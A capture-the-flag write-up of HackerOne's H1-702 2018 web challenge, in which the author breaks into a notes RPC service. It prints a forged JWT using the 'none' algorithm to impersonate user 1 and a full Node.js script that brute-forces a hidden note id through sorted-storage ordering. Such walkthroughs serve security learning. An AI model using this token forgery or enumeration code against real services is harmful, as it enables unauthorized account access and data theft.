h1-702 2018 WEB CTF

By Bhavuk Jain

This is my first CTF and I'm pretty happy with how the things went while finding the epic flag. This CTF took three days for me to solve it. Let's begin the journey.

GOAL

We have to find a hidden note present on this server: 159.203.178.9 (target)

DAY 1

When navigated to 159.203.178.9, it showed a page with this information:

Notes RPC Capture The Flag

Welcome to HackerOne's H1-702 2018 Capture The Flag event. Somewhere on this server, a service can be found that allows a user to securely stores notes. In one of the notes, a flag is hidden. The goal is to obtain the flag.

Good luck, you might need it.

The first pieces of information gathered was finding a service and **Good luck, you might need it.** This text might be a secret key.

The next step I performed was checking different API methods on this service: POST, PATCH, PUT, OPTIONS and TRACE. Sometimes these methods leak some information about the target. But no luck.

Moving on, I fired up my NMAP and tried to check if any ports are opened or not. Found two ports, 22 and 80. This was not helpful too.

Next, I did a dirsearch on the target. It revealed two important paths:

Going to http://159.203.178.9/README.html revealed the services for storing notes. Now it seems like an API based game and I love APIs. This has taken me around 20 minutes now. I'm going pretty well.

A few pieces of information gathered from the readme file included, JWT token, creating notes with custom id and the Accept header: application/notes.api.v1+json.

Now I just fired up my burp and started trying all these APIs. I played with all the APIs for around 10-20 minutes to understand the flow. I'm not looking for bugs at this time. Just creating a visual map of how this stuff is working.

Now it's the time to test the APIs. I used the default JWT token that was shared in the RPC documentation readme file.

I tried OPTIONS and TRACE on the APIs, but again no luck. Let's move on.

So, first API I tried was the **getNote** API. It required a parameter **id**. These are the things I tried on this API:

1. I tried directory traversal on this parameter. Didn't help much.
2. Next, I fired up my sqlmap to check if this parameter is vulnerable to sqli. Time is passing while scanning for sqli and I'm thinking of more injection points on this API.

Nah! This API isn't helping much.

The next one I tried was the **createNote** API. It's a POST based API and the parameters required were a **note** and an optional **id**. Since this API is writing data to the database, it's an interesting one. These are the things I tried on this API:

1. Passing some different characters in the notes and id fields but the regex seems to be very strong. It's not accepting characters other than alphabets, numbers and a dot (.)

Nothing seems to be working at this time. Let's focus on something else. The JWT token.

The documentation says, the API will accept any valid JWT token. Since, I've already used JWT earlier, I know how it works. I just decoded the JWT from the example given in the documentation. Two things I found, it was using HS256 algorithm and the parameters were **{"id":2}**. This is definitely the user id. Let's change it to value 3 and sign it with our own secret key or with the **Good luck** string. Now using this JWT token on the Authorization header, I got **authorization is invalid**. Next I read a lot

of blogs on JWT showing the critical security vulnerabilities in the JWT token signing and decoding libraries. From reading this I found two security issues on JWT libraries.

1. You can create a JWT with a new algorithm RS256 and sign it with the public key and the server will accept it.
2. If you use an algorithm **none** while signing the JWT, when decoded, the libraries will not verify the secret.

So it looks like the JWT library on the server side might be vulnerable to this type of attack by creating a JWT with **none** algorithm.

I tried to create a JWT with **{"id":3}, {"id":100},{"id":1000}**. Every single time it gave me authorization is invalid. Maybe I was wrong, the JWT library might not be vulnerable.

This has already been a hectic day and I'm getting out of ideas now. Let's call it a day and try it again tomorrow.

DAY 2

After losing hope with the JWT token, I decided to read about RPC. Read a lot of blogs on JSON-RPC modules, a few CTFs involving RPCs. I tried a few methods that might work on this RPC module - **__construct, __wakeup** and a few more but none of them worked.

After so many failures, I decided to have a deeper look at the APIs and found some really interesting stuff.

In the **createNote** API, there were two parameters **id** and **note**. These were my findings on this endpoint:

- Race Condition:

  I found, if this API is called multiple times from multiple threads, some previously created notes were getting removed from the database. Here's the response from the **getNotesMetadata** API:

{"count":1,"epochs":["1529408746","1529408721","1529407519","1529407519","1529407519","1529407519","1529407520","152940752
0","1529407520","1529407520","1529407520","1529407520","1529407520","1529407520","1529407520","1529407520","1529407521","
1529407521","1529407521","1529408819","1529407521","1529407521","1529407521","1529407521","1529407521","1529407521","1529
407521","1529407522","1529407522","1529407522","1529407522","1529407522","1529407522","1529407522","1529407523","15294075
23","1529407523","1529407523","1529407523","1529407523","1529407523","1529407523","1529407523","1529407523","1529407524",
"1529407524","1529407524","1529407524","1529407524","1529407524"]

Looks interesting? Count is 1 but the number of epochs are more than 20. Ideally, both should have the same number as they tell you the number of notes stored in the database.

- A few unique characters were allowed in the **notes** parameter:

  These characters were allowed in the **notes** parameter: \n, \r, \t, \f. Out of these **\n** turned out to be quite interesting. On passing {“notes”:”\n”}, the response in the **getNote** API turned out to be:

  ```
  {"note":"","epoch":null}
  ```

  The epoch value turned out to be **null**. This sometimes return empty string as well. This is a bit unexpected.

- Different data types other than string were allowed on the **notes** parameter:

  If I pass a parameter, {“notes”:[“a”,”b”,”c”]}. This was also accepted and the response of the getNote turned out to be:

  ```
  {"note":"Array","epoch":"1529698985"}
  ```

  Or if I pass a key/value pair (a dictionary or an object), {“notes”:{}}, this resulted in 500 Server Error.

The second issue when the note value was substituted with **\n** looked more appealing to me. I thought it might leak the token hidden somewhere in the code via errors. I played with this for a while and finally NOTHING worked out. I spent 3-4 hours on this.

Couple hours later while taking a break, I thought what if the Flag is not present in this account. Also, the **getNotesMetadata** API was not revealing if any note was already present on the account. So, this redirected me towards JWT again.

I again tried the **none** algorithm and this time in the parameters, I used, {“id”:1}. **id** as 1. Tried this token without any hope and it was accepted. What!!!??!!! Why did I never try **id** as 1.

I checked the **getNotesMetadata** API and there was already a note present over there. It became clear, this is the note which contains the Flag.

Now, to read the contents of this note, we need to get the **id** of the note. What are the possible ways?

Remember, there was an issue with **\n** where it was giving epoch time as **null?** Maybe it can work here. Nope, it’s just some vulnerability and is of no use to find the hidden flag.

I read the documentation again, and found a hidden comment:

```
      header of the request. At this time, only
<code>application/notes.api.v1+json</code> is supported.
      <!--
        Version 2 is in the making and being tested right now, it includes an
optimized file format that
        sorts the notes based on their unique key before saving them. This allows them
to be queried faster.
        Please do NOT use this in production yet!
      -->
    </p>

    <h4>Response codes</h4>
```

It’s almost morning, so I decided to get some sleep.

Day 3, the Finale:

This comment in the document is definitely making sense. Using a V2, the notes are stored in a sorted order based on the **id** values. Next I tried to find out how they are arranged. To find it, I made a few notes with **id** as Z, z and 1 - Capital alphabets, lowercase alphabets and number. By comparing the epochs time, this was the pattern:

```
let letters =
['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j',
'i','h','g','f','e','d','c','b','a',
'Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','
I','H','G','F','E','D','C','B','A',
'9','8','7','6','5','4','3','2','1','0' ]
```

Lowercase letters have the highest priority, uppercase letters medium priority and numbers have the lowest priority.

Now since I have found the pattern, it's time to bruteforce the letters. I created a Javascript program that bruteforced each and every letter and prints it on the console.

It's not an optimized solution (It's a clear case of binary search tree and would have been a better solution) but this saved me from doing the repetitive task.

```
const fetch = require('node-fetch')

let letters =
['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j',
'i','h','g','f','e','d','c','b','a',

'Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','
I','H','G','F','E','D','C','B','A',
  '9','8','7','6','5','4','3','2','1','0' ]


let currentLetterIndex = 0
let id = ''


createNote(letters[currentLetterIndex])


function createNote(note) {

     fetch(`http://159.203.178.9/rpc.php?method=createNote`, {
          method: 'POST',
          headers: {
               'authorization':
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICIxIn0.t4M7We66pxjMgRNG
g1RvOmWT6rLtA8ZwJeNP-S8pVak',
```

```
                'Accept': 'application/notes.api.v2+json',
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({note:'hello', id:note})
        })
        .then(res => {
            if (res.ok) {
                return res.json()
            }else {
                throw new Error(`Found: ${note}`)
            }
        })
        .then(data => {
            if(data.url != '') {
                getNotesMetadata()
            }
        }).catch(error => {
            console.log(error.message)
        })
}


function getNotesMetadata() {

    fetch(`http://159.203.178.9/rpc.php?method=getNotesMetadata`, {
            method: 'GET',
            headers: {
                'authorization':
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICIxIn0.t4M7We66pxjMgRNG
g1RvOmWT6rLtA8ZwJeNP-S8pVak',
                'Accept': 'application/notes.api.v2+json',
                'Content-Type': 'application/json'
            },
        })
        .then(res => res.json())
        .then(data => {
            if(data.epochs == null) {
                throw new Error('Something went wrong');
```

```
            }else {
                  let epochs = data.epochs
                  verifyEpochs(epochs)
            }
      })
}


function resetNotes() {

      fetch(`http://159.203.178.9/rpc.php?method=resetNotes`, {
            method: 'POST',
            headers: {
                  'authorization':
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICIxIn0.t4M7We66pxjMgRNG
g1RvOmWT6rLtA8ZwJeNP-S8pVak',
                  'Accept': 'application/notes.api.v2+json',
                  'Content-Type': 'application/json'
            },
      })
      .then(res => res.json())
      .then(data => {
            if(data.reset) {
                  let newId = id + letters[currentLetterIndex]
                  createNote(newId)
            }
      })
}

function verifyEpochs(epochs) {

      if(epochs[0] != '1528911533') {
            id = `${id}${letters[currentLetterIndex]}`
            console.log(`newId = ${id}`)
            console.log('\n')
            currentLetterIndex = 0
            resetNotes()
      }else {
```

```
            currentLetterIndex += 1
            let newId = id + letters[currentLetterIndex]
            createNote(newId)
        }

}
```

And tada, it gave me the final string: EelHIXsuAw4FXCa9epee.

It's almost over. Then, I called the **getNote** API and passed this string on the **id** parameter and this gave me a base64 encoded note.

```
{"note":"NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==","epoch":"1
528911533"}
```

On decoding this value, it gave me the epic flag, 702-CTF-FLAG: NP26nDOI6H5ASemAOW6g. Game Over!

From this CTF, I learned a very important thing. Never forget the power of number **1.**